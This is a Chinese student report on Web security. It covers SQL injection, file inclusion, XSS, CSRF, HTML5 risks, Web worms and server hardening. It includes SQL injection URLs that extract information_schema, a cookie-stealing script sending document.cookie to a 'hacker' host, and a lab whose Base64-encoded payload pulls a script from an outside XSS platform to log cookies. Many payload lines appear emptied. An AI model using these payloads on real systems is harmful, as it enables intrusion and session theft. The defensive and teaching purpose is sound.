当前位置:文档之家› Web前端的认识和理解

Web前端的认识和理解

Web前端认识

班级:0441104

姓名:夏维;王波

学号:2011211830 ;2011211832 授课教师:董涛

对Web前端的认识

由于网络技术日趋成熟,黑客们也将注意力从以往对网络服务器的攻击逐步转移到了对Web应用的攻击上。根据Gartner的最新调查,信息安全攻击有75%都是发生在Web应用而非网络层面上。同时,数据也显示,三分之二的Web站点都相当脆弱,易受攻击。然而现实确是,绝大多数企业将大量的投资花费在网络和服务器的安全上,没有从真正意义上保证Web应用本身的安全,给黑客以可乘之机。

一、Web的介绍

1、web的起源

Web是World Wide Web的简称,中文称之为万维网,是用于发布、浏览、查询信息的网络信息服务系统,由许多遍布在不同地域内的Web服务器有机地组成

2、Web架构的精妙处

从技术层面上看,Web架构的精华有三处:用超文本技术(HTML)实现信息与信息的连接;用统一资源定位技术(URL)实现全球信息的精确定位;用新的应用层协议(HTTP)实现分布式的信息共享。

3、Web技术涉及的技术

Web是一种典型的分布式应用架构。Web应用中的每一次信息交换都要涉及到客户端和服务端两个层面。因此,Web开发技术大体上也可以被分为客户端技术和服务端技术两大类。

(1)客户端技术

①HTML语言的诞生

Web客户端的主要任务是展现信息内容,HTML语言是信息展现的最有效载体之一。作为一种实用的超文本语言, 1990年,第一个图形化的Web浏览器"World Wide Web"终于可以使用一种为Web度身定制的语言--HTML来展现超文本信息了。

②从静态信息到动态信息

最初的HTML语言只能在浏览器中展现静态的文本或图像信息,随后由静态技术向动态技术逐步转变。1997年,Microsoft发布了IE 4.0,并将动态HTML 标记、CSS和动态对象模型发展成了一套完整、实用、高效的客户端开发技术体系,Microsoft称其为DHTML。同样是实现HTML页面的动态效果,DHTML技术无需启动Java虚拟机或其他脚本环境,可以在浏览器的支持下,获得更好的展现效果和更高的执行效率。

为了在HTML页面中实现音频、视频等更为复杂的多媒体应用,又引入了对QuickTime插件的支持。Real player插件、Microsoft自己的媒体播放插件Media Player也被预装到了各种Windows版本之中。随后Flash插件的横空出世。(2)服务端技术

与客户端技术从静态向动态的演进过程类似,Web服务端的开发技术也是由静态向动态逐渐发展、完善起来的。

二、漏洞挖掘

漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技

术的提升而有所变化.在前期针对缓冲区溢出格式化字符串堆溢出 lib库溢

出等技术都是针对ELF文件或者PE文件的漏洞挖掘技术.在针对ELF文件 PE文件如*.exe与*.dl的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对PE 文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为strcpymemcpy等存在缓冲区溢出遗患的C 函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术.网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.

WEB漏洞的分类

1、SQL注入

SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.

2、文件包含类型,如PHP的的远程本地文件包含漏洞

文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传WEBSHELL,然后本地提升权限的作用.

3、 XSS

XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任Javascript脚本,那安全性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法.同时例如session骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的.

二、WEB漏洞挖掘规则

漏洞挖掘规则需要一个WEB浏览器,如IE Firefox等即可,无需读取WEB程序的源代码,只要某个规则符合了漏洞规则的要求,即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法

例如:

http://website/index1.php?id=,如果对方的代码过滤了"双引号,那么可以通过

http://website/index1.php?id=,采用'单引号测试,若单引号也过滤呢?OK,我们这样来测试

http://website/index1.php?id=,使用数字提交,这样测试XSS的漏洞就扩展到了三条,通过构造HTML语句来实现XSS漏洞的挖掘等等.

XSS的漏洞挖掘规则

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=<"

http://website/index1.php?id=<'

http://website/index1.php?id=<

http://website/index1.php?id=

http://website/index1.php?id=

使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,可以找到一些XSS漏洞。

下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql5的环境下:)

http://website/index1.php?id=1'

http://website/index1.php?id=1and 1=1

http://website/index1.php?id=1and 1=2

http://website/index1.php?id=1order by 4 //4为判断该表的列数,直

到猜测到为止

下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4

http://website/index1.php?id=1and 1=1 union select 1,2,3,4

http://website/index1.php?id=1and 1=1 union select

version(),database(),user(),4

http://website/index1.php?id=1and 1=1 union select 1/*

http://website/index1.php?id=1and 1=1 union select version()/* http://website/index1.php?id=1and 1=1 union select databse()/*

猜测表名:

http://website/index1.php?id=1and 1=1 union select 1,2,3,4 from database.table where 1=2

//where 1=2 不打印猜测表的内容

admin user articles news必须在指定select的字段个数再使用,否则mysql 会报错.

http://website/index1.php?id=1and 1=1 union select

table_schema,table_name,table_rows,table_count from

information_schema.tables //

上面使用数据库的元数据来获取mysql的信息,前提是系统管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.在开始分

析mysql数据库到底可以执行到那种程度的注入情况下分析了mysql的系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,information_schema数据库用到的表的具体字段

1: KEY_COLUMN_USAGE表

constraint_schema: 存放数据库名

table_schema: 存放数据库名

table_name: 存放数据库表信息

column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息

2: SCHEMA表

schema_name: 存放数据库名

default_charater_set_name: 存放charset类型

default_collation_name: 存放charset相关信息

3: SCHEMA_PRIVILEGES表

grantee: 存放数据库用户名

table_schema: 表名

privilege_type: 权限

4: STATISTICS表

table_schema: 存放数据库名

table_name: 存放表名

index_schema: 数据库名

index_name: 是否缩引

column_name: 存放索引自增字段

5: TABLES表

table_schema: 存放数据库名

table_name: 存放表名

table_type: 表类型 SYSTEM or BASE TABLE

engin: MEMORY MYISAM InnoDB

version:

table_rows:表的行数

auto_increment: 自增的总行数

create_time: 创建表的时间

update_time: 更新表的时间

create_options: 创建表时的约束条件

有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果.

猜测列名:

http://website/index1.php?id=1and 1=1 union select username,2,3,4 from user where 1=2

按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表的字段信息,如:admin与password:) C: 文件包含漏洞

文件包含漏洞的测试,有以下几个比较简单且有效的办法.

1: 新建一个简单的php代码,如:,保存为*.txt格式

2: 新建一个简单的php代码,如:,保存为无后缀格式

然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为

https://www.doczj.com/doc/1610854319.html,/include.txt

https://www.doczj.com/doc/1610854319.html,/include

漏洞规则

http://website/file.php?inc=https://www.doczj.com/doc/1610854319.html,/include.txt

http://website/file.php?inc=https://www.doczj.com/doc/1610854319.html,/include.txt

http://website/file.php?inc=https://www.doczj.com/doc/1610854319.html,/include

http://website/file.php?inc=https://www.doczj.com/doc/1610854319.html,/include 使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.例如从XSS漏洞的检测规则可能会发现包含文件漏洞,如果知道PHP 的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置函数,则可以使用下面的办法来触发漏洞http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.

三:XSS的概述

最重要的要了解XSS漏洞的是,他们是目前为止发现的,在所有网站超过80%比例的定制Web应用程序中最常见的漏洞。虽然跨站点脚本在一段时间内一直被认为是中等程度的的漏洞,但XSS蠕虫和病毒的出现,已经提高了XSS的评估。软件开发人员和安全专业人员需要知道它是多么简单,以防止代码开发过程中出现XSS漏洞,并且一经查出,他们是多么容易解决。XSS是一种攻击技术,它使得一个网站,写出攻击者提供的可执行代码,然后加载在用户的Web浏览器。也就是说,当黑客使用存在漏洞的网站作为攻击的通道时,用户是预定的受害者。

1、非持久性xss

想想看,一个黑客想使用?http://victim/?网站对用户进行XSS攻击。黑客会采取的第一个步骤是在http://victim/找出一个XSS漏洞,然后构造一个特制的URL,也被称为链接。要做到这一点,黑客会搜寻网站上的客户端提供的数据可以被发送到Web服务器,然后回显到屏幕上的任何功能,比如搜索框。常见的在线发布的博客。XSS漏洞往往出现在搜索框表单。在搜索字段中输入?test

search?,响应页面将用户输入的文本在显示在三个不同的位置,查询字符串中包含值为?test+search?的?search?参数。这个URL值可以在运行时更改,甚至包括HTML / JavaScript的内容。http://victim/ ,

http://victim/search.pl?search=test+search

其3展示了原来的搜索词被替换为下面的HTML / JavaScript代码时会发生什么:Example 1.

?>

结果页面弹出了一个无害的警告对话框。根据提示,提交的代码已经成为web页面的一部分,证明了JavaScript已进入到http://victim/的上下文并得到执行。其4展示了夹杂有新的HTML/ JavaScript代码的Web页面的HTML源代码。其3,原来的搜索词将被替换为HTML/ JavaScript代码。其4,夹杂有新的HTML/ JavaScript代码的Web页面的HTML源代码。此时,黑客将会继续修改这个URL,包含更复杂的XSS攻击来利用用户。一个典型的例子是一个简单的cookie盗窃的攻击。

Example 2.

?>

前面的JavaScript代码创建一个图像DOM(文档对象模型)对象。

varimg=new Image();

因为JavaScript 代码在?http://victim/?上下文中执行,所以它可以访问cookie数据。

document.cookie;

图形对象然后指派一个外域的URL发送带有Web浏览器的Cookie字符串的数据到?http://hacker/?。

img.src=?http://hacker /? + document.cookie;

下面是一个例子,是一个被发送的HTTP请求。

Example 3.

GET http://hacker/path/_web_browser_cookie_data HTTP/1.1

Host: host

User-Agent: Firefox/1.5.0.1

Content-length: 0

一旦黑客完成了他的攻击代码,他会通过垃圾邮件,留言板的帖子,即时消息和其他方法宣传这种特制的链接,试图吸引用户点击。是什么让这种攻击这么有效?用户可能点击正常的网络钓鱼邮件7中的链接是因为这个URL包含了真正的网站域名,而不是一种外观相似的域名或随机的IP地址。应当注意的是,过长的XSS链接可以使用URL缩短服务,如https://www.doczj.com/doc/1610854319.html,进行伪装。

2、持久型XSS

持久型XSS攻击最常发生在由社区内容驱动的网站或Web邮件网站,不需要特制的链接来执行。黑客仅仅需要提交XSS漏洞利用代码到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的网页,执行是自动的。这使得持续性的XSS的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利用代码,他将宣传受感染页面的URL来希

望不知情的用户中招。即使用户对非持续性XSS的URL懂得识别,也会很容易的受到影响。无论使用非持续性或持续性的XSS漏洞,黑客可以利用用户,导致网络和财务上的损失,有许多的方法。

2、传播的方法

对于一个病毒或蠕虫想要成功,它需要一个执行和传播的方法。电子邮件病毒通常在鼠标点击后执行,然后通过您的联系人列表来发送带有恶意软件的的邮件进行传播。网络蠕虫利用远程利用漏洞危害机器和并且通过连接到其他存在漏洞的主机进行传播。除传播之外,蠕虫病毒还是高度多样化,包括创造DDoS僵尸网络,垃圾邮件僵尸,或远程键盘监控的能力。XSS蠕虫与其他形式的恶意软件相似,但以自己独特的方式执行和传播。使用一个网站来存放恶意代码,XSS蠕虫和病毒通过控制Web浏览器,使得它复制恶意软件到网络上的其他地方去感染别人来进行传播。例如,一个含有恶意软件的博客评论,可以使用访问者的浏览器发布额外的感染性的博客评论。XSS蠕虫病毒可能会使得浏览器进行发送电子邮件,转账,删除/修改数据,入侵其他网站,下载非法内容,以及许多其他形式的恶意活动。用最简单的方式去理解,就是如果没有适当的防御,在网站上的任何功能都可以在未经用户许可的情况下运行。

在最后一节中,我们将重点放在XSS漏洞本身,以及用户可以怎么样被利用。现在,我们来看XSS恶意软件是如何可以进行远程通信。XSS漏洞利用代码,通常是HTML / JavaScript,使用三种方式使得浏览器发送远程HTTP请求的浏览器:嵌入式的HTML标签,JavaScript DOM的对象,XMLHTTPRequest。

3、嵌入式HTML标签

一些HTML标签具有在页面加载时会自动发起Web浏览器的HTTP请求的属性。有一个例子是IMG的SRC属性。SRC属性用于指定在Web页面中显示的图像文件的URL地址。当你的浏览器载入带有IMG标签的网页,图像会自动被请求,并在浏览器中显示。但是,SRC属性也可以被用于任何Web服务器的其他URL,不仅仅是包含图像的。

例如,如果我们进行了谷歌搜索?WhiteHatSecurity?我们最终得到了下面的URL:

https://www.doczj.com/doc/1610854319.html,/search?hl=en&q=whitehat+security&btnG=Google+Se arch

这个URL可以很容易地取代IMG内的SRC属性的值,从而迫使您的Web浏览器中执行相同的谷歌搜索。

src=?https://www.doczj.com/doc/1610854319.html,/search?hl=en&q=whitehat+security&btnG=Goo gle+ Search?>显然使得Web浏览器发送一个谷歌搜索请求是没有什么危害性的。然而,URL构建的同样的过程可以用来使得Web浏览器自动进行银行账户资金的汇款,发表煽动性言论,甚至入侵网站。这一点可以说明,这是一个迫使一个Web 浏览器连接到其他网站,使的XSS蠕虫病毒传播的机制。

5、JavaScript和文档对象模型

JavaScript被用于给网站访问者一个丰富的、交互式的体验。这些网页更接近于一个软件应用程序,而不是一个静态的HTML文档。我们常会看到JavaScript

被用于进行图像的翻转,动态表单输入检查,弹出对话框,下拉菜单,拖动和拖放等。JavaScript有接近完全的对网站上的每一个对象,包括图像,cookies,窗口,框架和文本内容的访问。这些对象中的每一个都是文档对象模型的一部分。

DOM提供了一系列JavaScript读取和操作的应用程序编程接口。类似嵌入式HTML标签的功能,JavaScript可以操纵DOM对象自动发起Web浏览器的HTTP请求。图像和窗口的源URL可以被重新指定为其他URL的。我们可以使用JavaScript来改变图像的DOM对象SRC进行谷歌搜索?WhiteHat Security?。img[0].src = https://www.doczj.com/doc/1610854319.html,/search?hl=en&q=whitehat+security&btnG=Google+ Search;

迫使Web浏览器连接到其他网站发送一个谷歌搜索请求是一种无害的例子。但这也说明了XSS恶意软件传播的另一种方法。

四、HTML5安全

五种可能会利用HTML5的功能进行攻击的方法:

1、表单篡改:另一个新功能让攻击者可以在被注入JavaScript的网站(例如XSS攻击)中更改该网页上的表单行为。举例来说,攻击者可以改变一个网络商店的正常行为,不是将内容送到购买或是登录页面,而是将用户的身分认证信息发送到攻击者自己的网站。

2、利用地理定位追踪受害者:地理定位是HTML5新功能中最受注目的一个。因为安全和隐私的考虑,网站必须先得到用户的批准,随后才能获得位置讯息。然而就和以前出现过的其他功能一样,例如Vista的用户帐户控制,Android的应用程序权限,还有无效的HTTPS凭证等,这些需要用户作决定的安全措施几乎没有任何效果。而一旦有了授权,网站不仅可以知道受害者的位置,而且还可以在用户移动时对其进行实时追踪。

3、利用桌面通知做社会工程学攻击:我们在HTML5 的五大优秀功能文章中曾经提到过HTML5的一个新功能:桌面通知。这些出现在浏览器之外的弹出窗口,其实是可以用HTML程序代码进行定制的。虽然这种功能带来了很不错的交互方式,但也可能导致社会工程学攻击,例如网络钓鱼或者假冒杀毒软件等。看看下面的图片就可以想象到,攻击者可以如何利用这个新功能了。

4、利用跨域请求或WebSockets的端口扫描:有了HTML5,浏览器现在可以连到任何IP地址或网站的(几乎)任何端口。虽然除非目标网站有特别的允许,不然并不能接收到来自任意端口连接的回应,但是研究人员表示,这类请求所花的时间可以用来判断目标端口是打开的还是关闭的。因此攻击者就可以直接利用浏览器对受害者的内部网络进行端口扫描。

5、点击劫持更加容易:点击劫持本身不是种新的攻击,这种攻击的目的是窃取受害者的鼠标按钮点击,然后将点击定向到攻击者所指定的其他页面。攻击者的目的是让用户在不知情的情况下点击隐藏的链接。目前,对于点击劫持最好的服务器端防御措施之一是被称为Framekilling的技术。本质上来说,受到影响的网站可以利用JavaScript来验证自己是否在一个iframe中运行,如果是的话,就拒绝显示页面内容。这种技术已经被在用在Facebook、Gmail和其他一些网站中。但是HTML5在iframe中增加了一个新的沙盒属性,该属性会让网站停止执行JavaScript脚本。在大多数情况下,这其实是比较安全的做法,但也存在缺点,就是会抵消目前对点击劫持最好的防御措施。

五、CSRF

CSRF是跨站请求伪造,也被称为?one click attack?或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本,但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行和难以防范,所以被认为比XSS更具危险性。

即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL,从而达到改变服务器端数据的目的。这一类攻击依赖于你的网页中的表单,脆弱的表单很容易受到攻击。对于你网站中的访问者而言,可能会受到以下攻击:

在你的网站之外记录受攻击者的日志(比如:Slashdot);

修改受攻击者在你的网站的设置(比如:Google);

修改你的硬件防火墙;

使用受攻击者的登录信息在你的网站中发表评论或留言;

将资金转移到另一个用户帐号中。

CSRF 攻击的典型是那些使用 cookie 记录登录信息的网站,但对于一些允许某个 IP 地址访问的页面(如内部网),这一类攻击也会奏效。

CSRF 攻击通常会使用到 JavaScript(但不仅限于 JavaScript)实现跨站点自动提交表单--表单数据可以隐藏,提交按钮可以伪装成链接或滚动条。

确定那些接受可改变服务器数据的 CGI 只接受 POST 参数,不接受 GET 参数,一些服务器端语言默认同时接受两种方式提交过来的参数;

确定表单提交处理的是你自己的表单,可以使用一个隐藏字段中存放MD5字符串,此字符串是将登录 cookie 数据与服务器端存放的密钥进行 MD5 之后的结果,只有这个 MD5 字符串正确时才接受表单数据;

另外还可以增加一个更为严格的方法:在表单中增加一个时间戳的隐藏字段,并将其包含到 hash 字符串中,如果时间戳超过某个时间,则认为表单已过期。当表单过期时,给出一个方法可以让用户重新提交表单,比如将用户之前填写的数据依旧放入表单中,但使用一个新的 hash 字符串。

一个PHP的表单例子,表单代码:

$hash = md5($time.$key); //hash 字符串?

$expire = 1800; //表单过期时间:半小时

$my_hash = md5($_POST[time].$key); //正确的 hash 字符串

if ($my_hash != $_POST[hash]) //hash 字符串不正确

die(非法表单提交。);

if (time() - $_POST[time] $expire) {

//表单已经过期,生成新的时间戳和 hash 字符串,显示表单让用户重新提交。(此处省略)//….}//表单验证通过,可以接受表单提交的数据,并进行其它操作。

六、Web蠕虫

Web蠕虫主要包括:XSS蠕虫、CSRF蠕虫、Clickjacking蠕虫,这三类蠕虫都与具体的漏洞风险有关系,从名字上很好分。还有第四类文本蠕虫。

蠕虫性质:传播性,病毒性为。

什么是xss蠕虫

蠕虫病毒,比如前几年比较猖獗的熊猫烧香,还有最近Conficker蠕虫。这些蠕虫的特性都是具有自传播,感染,变形等。最近流行的猪流感按照理论也算蠕虫病毒。而近年来由于ajax流行,web2.0的一些特性,使得web蠕虫流行。任何一个蠕虫都不无原缘无故发作的,比如熊猫烧香是利用挂马,远程扫描等方式感染的,而这归根结底还是系统有漏洞。那么web蠕虫的切入点就是web有漏洞了。从03年脚本入侵流行一来,sql注射就是最流行的入侵方式,但是由于现在人们的安全意识的提高,sql漏洞越来越少,xss的漏洞就开始凸显出来,而xss可以使我们嵌入任意我们需要的代码,比如盗个cookie等,当别人访问的时候会吧自己的发送到你指定的文件里去。

一个xss蠕虫都有什么基本功能

之前在说熊猫烧香之类的蠕虫病毒已经说过了这个内容,传播感染和变形,而现在web蠕虫先不用发展那么高级,而我们只需要写出传播和感染就行,至于变形,除非漏洞被过滤了我们还需要绕过那么就需要一定得变形,而这种变形一般不会影响我们写的蠕虫文件,会影响到调用蠕虫文件的代码。

CSRF蠕虫

原理与XSS蠕虫基本类似,只是这里用到的是CSRF,攻击代码存在于攻击者的页面中,目标网站传播的内容都包含攻击者页面URL,这样才能有货目标网站上的被攻击者打开攻击者页面,然后出发CSRF,CSRF会据需跨域发布含攻击者页面URL的内容进行传播。

八、Web面临的安全威胁

来自网络上的安全威胁与攻击多种多样,依照Web访问的结构,可将其分类为对Web服务器的安全威胁、对Web客户机的安全威胁和对通信信道的安全威胁三类。

(一)对Web服务器的安全威胁

对于Web服务器、服务器的操作系统、数据库服务器都有可能存在漏洞,恶意用户都有可能利用这些漏洞去获得重要信息。Web服务器上的漏洞可以从以下几方面考虑:

1、在Web服务器上的机密文件或重要数据,如存放用户名、口令的文件放

置在不安全区域,被入侵后很容易得到。

2、在Web数据库中,保存的有价值信息,如商业机密数据、用户信息等,如果数据库安全配置不当,很容易泄密。

3、Web服务器本身存在一些漏洞,能被黑客利用侵入到系统,破坏一些重要的数据,甚至造成系统瘫痪。

4、程序员的有意或无意在系统中遗漏Bugs给非法黑客创造条件。用CGI 脚本编写的程序中的自身漏洞。

(二)对Web客户机的安全威胁

现在网页中的活动内容已被广泛应用,活动内容的不安全性是造成客户端的主要威胁。网页的活动内容是指在静态网页中嵌入的对用户透明的程序,它可以完成一些动作,显示动态图像、下载和播放音乐、视频等。当用户使用浏览器查看带有活动内容的网页时,这些应用程序会自动下载并在客户机上运行,如果这些程序被恶意使用,可以窃取、改变或删除客户机上的信息。主要用到Java Applet和ActiveX技术。Java Applet使用Java语言开发,随页面下载,Java 使用沙盒根据安全模式所定义的规则来限制Java Applet的活动,它不会访问系统中规定安全范围之外的程序代码。但事实上Java Applet存在安全漏洞,可能被利用进行破坏。

ActiveX是微软的一个控件技术,它封装由网页设计者放在网页中来执行特定的任务的程序,可以由微软支持的多种语言开发但只能运行在Windows平台。ActiveX在安全性上不如Java Applet,一旦下载,能像其他程序一样执行,访问包括操作系统代码在内的所有系统资源,这是非常危险的。

Cookie是Netscape公司开发的,用来改善HTTP的无状态性。无状态的表现使得制造像购物车这样要在一定时间内记住用户动作的东西很难。Cookie实际上是一段小消息,在浏览器第一次连接时由HTTP服务器送到浏览器端,以后浏览器每次连接都把这个Cookie的一个拷贝返回给Web服务器,服务器用这个Cookie来记忆用户和维护一个跨多个页面的过程影像。Cookie不能用来窃取关于用户或用户计算机系统的信息,它们只能在某种程度上存储用户的信息,如计算机名字、IP地址、浏览器名称和访问的网页的URL等。所以,Cookie是相对安全的。

(三)对通信信道的安全威胁

Internet是连接Web客户机和服务器通信的信道,是不安全的。像Sniffer 这样的嗅探程序,可对信道进行侦听,窃取机密信息,存在着对保密性的安全威胁。未经授权的用户可以改变信道中的信息流传输内容,造成对信息完整性的安全威胁。此外,还有像利用拒绝服务攻击,向网站服务器发送大量请求造成主机

无法及时响应而瘫痪,或者发送大量的IP数据包来阻塞通信信道,使网络的速度便缓慢。

九、Web的安全防护技术

(一) Web客户端的安全防护

Web客户端的防护措施,重点对Web程序组件的安全进行防护,严格限制从网络上任意下载程序并在本地执行。可以在浏览器进行设置,如Microsoft Internet Explorer的Internet选项的高级窗口中将Java相关选项关闭。在安全窗口中选择自定义级别,将ActiveX组件的相关选项选为禁用。在隐私窗口中根据需要选择Cookie的级别,也可以根据需要将c:\windows\cookie下的所有Cookie相关文件删除。

(二)通信信道的安全防护

通信信道的防护措施,可在安全性要求较高的环境中,利用HTTPS协议替代HTTP协议。利用安全套接层协议SSL保证安全传输文件,SSL通过在客户端浏览器软件和Web服务器之间建立一条安全通信信道,实现信息在Internet中传送的保密性和完整性。但SSL会造成Web服务器性能上的一些下降。

(三) Web服务器端的安全防护

限制在Web服务器中账户数量,对在Web服务器上建立的账户,在口令长度及定期更改方面作出要求,防止被盗用。

Web服务器本身会存在一些安全上的漏洞,需要及时进行版本升级更新。尽量使EMAIL、数据库等服务器与Web服务器分开,去掉无关的网络服务。在Web 服务器上去掉一些不用的如SHELL之类的解释器。定期查看服务器中的日志文件,分析一切可疑事件。设置好Web服务器上系统文件的权限和属性。通过限制许可访问用户IP或DNS。从CGI编程角度考虑安全。采用编译语言比解释语言会更安全些,并且CGI程序应放在独立于HTML存放目录之外的CGI-BIN下等措施。十、Web服务器安全防护策略的应用

这里以目前应用较多的Windows2000平台和IIS的Web服务器为例简述Web 服务器端安全防护的策略应用

(一)系统安装的安全策略

安装Windows2000系统时不要安装多余的服务和多余的协议,因为有的服务存在有漏洞,多余的协议会占用资源。安装Windows2000后一定要及时安装补丁

4程序(W2KSP4_CN.exe),立刻安装防病毒软件。

(二)系统安全策略的配置

通过?本地安全策略?限制匿名访问本机用户、限制远程用户对光驱或软驱的访问等。通过?组策略?限制远程用户对Netmeeting的桌面共享、限制用户

执行Windows安装任务等安全策略配置。

(三)IIS安全策略的应用

在配置Internet信息服务(IIS)时,不要使用默认的Web站点,删除默认的虚拟目录映射;建立新站点,并对主目录权限进行设置。一般情况下设置成站点管理员和Administrator两个用户可完全控制,其他用户可以读取文件。

(四)审核日志策略的配置

当Windows 2000出现问题的时候,通过对系统日志的分析,可以了解故障发生前系统的运行情况,作为判断故障原因的根据。一般情况下需要对常用的用户登录日志,HTTP和FTP日志进行配置。

1、设置登录审核日志

审核事件分为成功事件和失败事件。成功事件表示一个用户成功地获得了访问某种资源的权限,而失败事件则表明用户的尝试失败。

2、设置HTTP审核日志

通过?Internet服务管理器?选择Web站点的属性,进行设置日志的属性,可根据需要修改日志的存放位置。

3、设置FTP审核日志

设置方法同HTTP的设置基本一样。选择FTP站点,对其日志属性进行设置,然后修改日志的存放位置。

(五)网页发布和下载的安全策略

因为Web服务器上的网页,需要频繁进行修改。因此,要制定完善的维护策略,才能保证Web服务器的安全。有些管理员为方便起见,采用共享目录的方法进行网页的下载和发布,但共享目录方法很不安全。因此,在Web服务器上要取消所有的共享目录。网页的更新采用FTP方法进行,选择对该FTP站点的访问权限有?读取、写入?权限。对FTP站点属性的?目录安全性?在?拒绝访问?对话框中输入管理维护工作站的IP地址,限定只有指定的计算机可以访问该FTP 站点,并只能对站点目录进行读写操作。

实验:

网页首页,正常显示

发现可疑漏洞,地址栏出现编码后的信息。

这是一段明显的Base64加密,对其进行解码

解密为:

title=%B5%C7%C2%BD%CA%A7%B0%DC%A3%AC%C3%DC%C2%EB%B2%BB%D5%FD%C8%B7%A1 %A3&link=&url=

采用了双重解码机制,这是一段URL编码,我们再次解码得到:

title=登陆失败,密码不正确。&link=&url=

这是一个可跨站点,我们构造代码进行测试。

代码构造如下:

title=%B5%C7%C2%BD%CA%A7%B0%DC%A3%AC%C3%DC%C2%EB%B2%BB%D5%FD%C8%B7%A1 %A3&

link=&url=

进行反向编码

dGl0bGU9JUI1JUM3JUMyJUJEJUNBJUE3JUIwJURDJUEzJUFDJUMzJURDJUMyJUVCJUIyJ UJCJUQ1JUZEJUM4JUI3JUExJUEzPC9odG1sPjxzY3JpcHQ+YWxlcnQoHHhzc0vVIGb3Mj AxMTIxMTk3NR0pPC9zY3JpcHQ+JiBsaW5rPSZ1cmw9

带入地址栏运行,得到

测试成功,构造代码窃取cookie.

title=%B5%C7%C2%BD%CA%A7%B0%DC%A3%AC%C3%DC%C2%EB%B2%BB%D5%FD%C8%B7%A1 %A3&link=&url=

编码后得到:

dGl0bGU9JUI1JUM3JUMyJUJEJUNBJUE3JUIwJURDJUEzJUFDJUMzJURDJUMyJUVCJUIyJ UJCJUQ1JUZEJUM4JUI3JUExJUEzPC9odG1sPjxzY3JpcHQgc3JjPWh0dHA6Ly94c3MudH cvMzg0MT48L3NjcmlwdD4mbGluaz0mdXJsPQ==

其中xss.tw 是网络上所架构的一个xss测试平台,可以作为一个中转站记录点击者cookie.

这类渗透的平台的原理都是基于PHP等语言的cookie调用获取,核心功能代码如下:

$cookie = $_GET['cookie']; //以GET方式获取cookie变量值

$ip = $_SERVER['REMOTE_ADDR'];//远程主机IP地址

